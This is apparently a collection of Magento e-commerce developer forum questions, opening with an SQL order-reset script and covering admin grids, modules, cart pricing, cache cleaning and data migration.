TRUNCATE TABLE `quote_id_mask`;
TRUNCATE TABLE `quote_item`;
TRUNCATE TABLE `quote_item_option`;
TRUNCATE TABLE `quote_payment`;
TRUNCATE TABLE `quote_shipping_rate`;

# Reset indexes (if you want your orders number start back to 1
TRUNCATE TABLE sequence_invoice_1;
TRUNCATE TABLE sequence_order_1;
TRUNCATE TABLE sequence_shipment_1;
TRUNCATE TABLE sequence_creditmemo_1;

SET FOREIGN_KEY_CHECKS=1;


texts: Admin product and order pages: search all fields

texts:
In the Magento Admin I can search products by their name and SKU and different other values. I can add more colums to the grid using special modules, and then I can use those columns for searching as well. I think this is too limited.

Is there a module that can search on all product fields, including the custom attributes? The same goes for orders and possibly other admin pages.


texts: Magento 2 add blank column to custom admin grid

texts:
Is it possible to add blank column into a custom admin grid module? this is the code of my ui_component

<columns name="spinner_columns">
    <selectionsColumn name="ids">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="resizeEnabled" xsi:type="boolean">false</item>
                <item name="resizeDefaultWidth" xsi:type="string">55</item>
                <item name="indexField" xsi:type="string">entity_id</item>
                <item name="sortOrder" xsi:type="number">5</item>
            </item>
        </argument>
    </selectionsColumn>
    <column name="increment_id">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="filter" xsi:type="string">textRange</item>
                <item name="label" xsi:type="string" translate="true">Order id</item>
                <item name="sortOrder" xsi:type="number">10</item>
            </item>
        </argument>
    </column>
    <column name="company">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="filter" xsi:type="string">textRange</item>
                <item name="label" xsi:type="string" translate="true">company</item>
                <item name="sortOrder" xsi:type="number">15</item>
            </item>
        </argument>
    </column>
    <column name="created_at" class="Magento\Ui\Component\Listing\Columns\Date">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="filter" xsi:type="string">dateRange</item>
                <item name="component" xsi:type="string">Magento_Ui/js/grid/columns/date</item>
                <item name="dataType" xsi:type="string">date</item>
                <item name="label" xsi:type="string" translate="true">Created</item>
                <item name="sortOrder" xsi:type="number">20</item>
            </item>
        </argument>
    </column>
    <column name="updated_at" class="Magento\Ui\Component\Listing\Columns\Date">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="filter" xsi:type="string">dateRange</item>
                <item name="component" xsi:type="string">Magento_Ui/js/grid/columns/date</item>
                <item name="dataType" xsi:type="string">date</item>
                <item name="label" xsi:type="string" translate="true">Modified</item>
            </item>
        </argument>
    </column>
</columns>


texts: I change to change default contact url from /contact/ to /customcontact/ or something. How we do that in magento2?


texts: Show in Stock and only Qty in Stock left

texts:
i have a little question. When the Stock Status is set to "Only qty left in Stock" then is the Message "In Stock" showing too. But i will hide the Message "In Stock", when the Message "Only qty left in Stock" is showing.

Here a example:
10 articles in stock = Message "In Stock"
2 articles left in stock = Message "Only 2 left in Stock"

Can anyone help me?


texts: Autocomplete with ul li input in Magento2.2.5?

texts:
I want to show the value in autocomplete.

Refer my code below:

<script src="http://code.jquery.com/ui/1.10.2/jquery-ui.js" ></script>
<script>
    <?php
    $zipdata = array();
    $zipval =array();
        foreach ($storeCollection as $key => $value){

            if ($value['latitude']==0 || $value['longitude']==0){
                continue;
            }

            $zipdata[]  = $value['name'].' '.$value['city'].' '.$value['state_province'].' '.$value['postal_code'];
            $zipval[] =  $value['name'].', '.$value['city'].', '.$value['state_province'];

        }

        if(count($zipdata) > 0){ ?>
            jQuery(document).ready(function(){

                var zipdata = <?php echo json_encode($zipdata); ?> ;
                var zipval = <?php echo json_encode($zipval); ?> ;

                console.log('zipdata',zipdata);
                console.log('zipval',zipval);

        jQuery( "#retailer" ).autocomplete({
        source: zipdata
    });
            });

        <?php } ?>

   /* $("#retailer").keyup(function(){
        $.ajax({
        type: "POST",
        url: "Grid.php"
        data:'keyword='+$(this).val(),
        beforeSend: function(){
            $("#retailer");
        },
        success: function(data){
            $("#suggesstion-box").show();
            $("#suggesstion-box").html(data);
            $("#retailer").css("background","#FFF");
        }
        });
    });*/
/*function selectCountry(val) {
    $("#retailer").val(val);
    $("#suggesstion-box").hide();
}*/
</script>

But I am not able to achieve it.

Any help would be appreciated


texts: My module wont show up.what could be the error?

texts:
My module is about filtering Payment Method when customer selects one of the shipping methods.
Namespace: Insync

Module-Name: Paymentfilter

Config.xml (app/code/local/Insync/Paymentfilter/etc) :

<?xml version="1.0"?>
<config>
<modules>
    <Insync_Paymentfilter>
        <version>1.0</version>
    </Insync_Paymentfilter>
</modules>
<frontend>
    <events>
        <payment_method_is_active>
            <observers>
                <paymentfilter_payment_method_is_active>
                    <type>singleton</type>
                    <class>Insync_Paymentfilter_Model_Observer</class>
                    <method>paymentMethodIsActive</method>
                </paymentfilter_payment_method_is_active>
            </observers>
        </payment_method_is_active>
    </events>
</frontend>
</config>

Observer.php (app/code/local/Insync/Paymentfilter/Model) :

class Insync_Paymentfilter_Model_Observer {

public function paymentMethodIsActive(Varien_Event_Observer $observer) {

$event           = $observer->getEvent();
$method          = $event->getMethodInstance();
$result          = $event->getResult();
$carriers = Mage::getSingleton('checkout/session')->getQuote()->getShippingAddress()->getShippingMethod();

        if ($carriers == 'tablerate' ){
                if($method->getCode() == 'checkmo' OR $method->getCode() == 'ccsave'){
                    $result->isAvailable = true;
                }else{
                    $result->isAvailable = false;
                }
            }

         }
}

Insync_Paymentfilter.xml (app/etc/modules)

<?xml version="1.0"?>
<config>
<modules>
    <Insync_Paymentfilter>
        <active>true</active>
        <codePool>local</codePool>
        <version>0.1.0</version>
    </Insync_Paymentfilter>
</modules>
</config>

The purpose of module is when customer selects 'tablerate' as shipping method he would be ONLY given two Payment Methods i.e

  Check/Money Order (checkmo)

and

  Credit Card (ccsave)


texts: Migration from 1.6 to 2.1 successfull but no settings migrated

texts:
Just configured and migrated with the data-migration-tool.

Source: 1.6.0.0, Destination: 2.1

First the settings:

bin/magento migrate:settings -vvv /var/www/html/vm2.url.com/vendor/magento/data-migration-tool/etc/ce-to-ce/1.6.0.0/config.xml
[INFO][mode: settings][stage: integrity check][step: Settings Step]: started
[INFO][mode: settings][stage: integrity check][step: Stores Step]: started
[INFO][mode: settings][stage: data migration][step: Settings Step]: started
[INFO][mode: settings][stage: data migration][step: Stores Step]: started
[INFO][mode: settings][stage: volume check][step: Stores Step]: started
[INFO][mode: settings][stage: volume check][step: Stores Step]: Migration completed

Seemed to work fine, but when I login I can't see any migrated data.
All settings and everything is just like the default 2.1 installation.
Am I doing anything obviously wrong?


texts: order of loading files in the header of magento

texts:
I need help, whenever I reload the cart page, some things don't load, and when I click on the file upload order it seems to fix but other things stop working, I think the content is in the wrong order, can someone help me? help ? follows an example from my code.
 <css src="mage/calendar.css"/>
        <script src="mage/polyfill.js"/>

        <css src="css/bootstrap.css"/>
        <css src="css/style.css" rel="stylesheet" type="text/css"/>

        <script src="js/owl.carousel.js"/>
        <script src="requirejs/require.js"/>

        <css rel="stylesheet" type="text/css" src="https://use.fontawesome.com/releases/v5.15.1/css/all.css"  src_type="url"/>


texts: How to add a custom success message to Magento newsletter form?

texts:
I added a newsletter form on a CMS page and I created a new template to show the  form.  I was wondering if there is a way to display a custom success message for just that one form?

It seems I remember seeing a way by using javascript but I can't find it.


texts: How to redirect to previous page with message in magento 2 frontend?

texts:
I have a form that post data to controller in Magento 2 Frontend, i want to do some validation, and redirect back to previous page after validation with success or error message, here's how i redirect back to previous page:

public function execute()
    {
        // Do Validation
        if(empty($input))
         $message = 'error';
        else
         $message = 'success';
        $this->_redirect($this->_redirect->getRefererUrl());
    }


texts: Magento 2: Does a user created cart interfere with a REST created cart or continue?

texts:
The question I have, If a customer has created a cart via a website.
And then for customer service reasons, the customer calls in a want to place an order, By using the API's (let's say Salesforce or some other integration), does that cart interfere?

Does it pick up that same cart, or create a new cart.


texts: Magento 2 : Add product to cart as per customer with custom price programmatically

texts:
I need to add product to cart as per customer vise with custom price.

I'm trying by below code. But, it returns error

  Uncaught TypeError: Argument 1 passed to Magento\Quote\Model\Quote::setCustomer() must implement interface Magento\Customer\Api\Data\CustomerInterface, instance of Magento\Customer\Model\Customer\Interceptor given, called in /media/vendor/ssd_drive/mage2/abcd/app/code/vendor/module/Controller/Index/test.php on line 133 and defined in /media/vendor/ssd_drive/mage2/abcd/vendor/magento/module-quote/Model/Quote.php:974

How to solve it ?

Controller code :

protected $_customer;
protected $quote;
protected $_customerSession;
protected $cart;
public function __construct(
    \Magento\Customer\Model\Customer $customer,
    \Magento\Customer\Model\Session $customerSession,
    \Magento\Quote\Model\Quote $quote,
    \Magento\Checkout\Model\Cart $cart,
) {
    $this->_customer = $customer;
    $this->_customerSession = $customerSession;
    $this->quote = $quote;
    $this->cart = $cart;
    parent::__construct($context);
}
-----------------------------------------------------------------

$customerid = $this->_customerSession->getCustomer()->getId();
$customerData = $this->_customer->load($customerid);
$quote_data = $this->quote->loadByCustomer($customerData);
if (!$quote_data->getId()) {
    $quote_data->setCustomer($customerData); //error line here
    $quote_data->setIsActive(1);
    $quote_data->setStoreId($this->_storeManager->getStore()->getId());
}
$quote_data->addProduct($_products, $params);
$quote_data->collectTotals()->save();

$cart = $this->cart->getQuote()->getAllItems();
$subtotal = 0;
if ($cart) {
    foreach ($cart as $item) {
        if ($item->getProductId() == $productID) {
            $subprice = $this->priceCurrency->currency($customprice, false, false);
            $finalprice = round($subprice, 2);
            $item->setCustomPrice($finalprice);
            $item->setOriginalCustomPrice($finalprice);
            $item->getProduct()->setIsSuperMode(true);
            $item->save();
        }
        $subtotal += $item->getCustomPrice();
    }
    $quote_data->setSubtotal($subtotal);
    $quote_data->setGrandTotal($subtotal);
    $quote_data->save();
}

Note : I do this inside controller not using observer.


texts: How to add Custom Model Grid Into Custom Tab in Product Edit page in admin panel in magento?

texts:
I have created a Custom Grid. I have one table with grid generated. I
  successfully added the tab in my custom grid.

  But I am a little bit confused on how to add Custom Tab in "Product Edit Page"
  and in Custom Tab how to display Custom Model Grid.

  Please guide me.


texts:
When I am theming a Magento 2 store, what is the suggested way to clean the caches?

I edit the .less files and then I currently do

rm -rf pub/static/frontend/* var/view_preprocessed/ var/*cache/*

But this seems to be the brute-force method.

php bin/magento cache:flush --all

seems to not do the job.

Is there a better one?


texts: Change shipping and billing address from order programmatically

texts:
How can i change shipping and billing adress from order programmatically?
I tried this but don't work.

$shippingAddress = Mage::getModel('sales/order_address')
->setFirstname("value")
->setMiddlename("value")
->setLastname("value")
->setSuffix("value")
->setCompany("value")
->setStreet("value"))
->setCity("value")
->setCountry_id("value")
->setRegion("value")
->setRegion_id("value")
->setPostcode("value")
->setTelephone("value")
->setFax("value");

and

$order->setShippingAddress($shippingAddress)
->setShipping_method('flatrate_flatrate');


texts: Contact form block in CMS page not working

texts:
I made custom layout page for CMS page and i want to add Contact form in that CMS page.

For this i am using following code in CMS page content :

{{block type=”core/template” name=”contactForm” form_action=”{{store direct_url=”contacts”}}/index/post” template=”contacts/form.phtml”}}

But it showing code in front side not showing contact form. Please help me.

Thanks in advance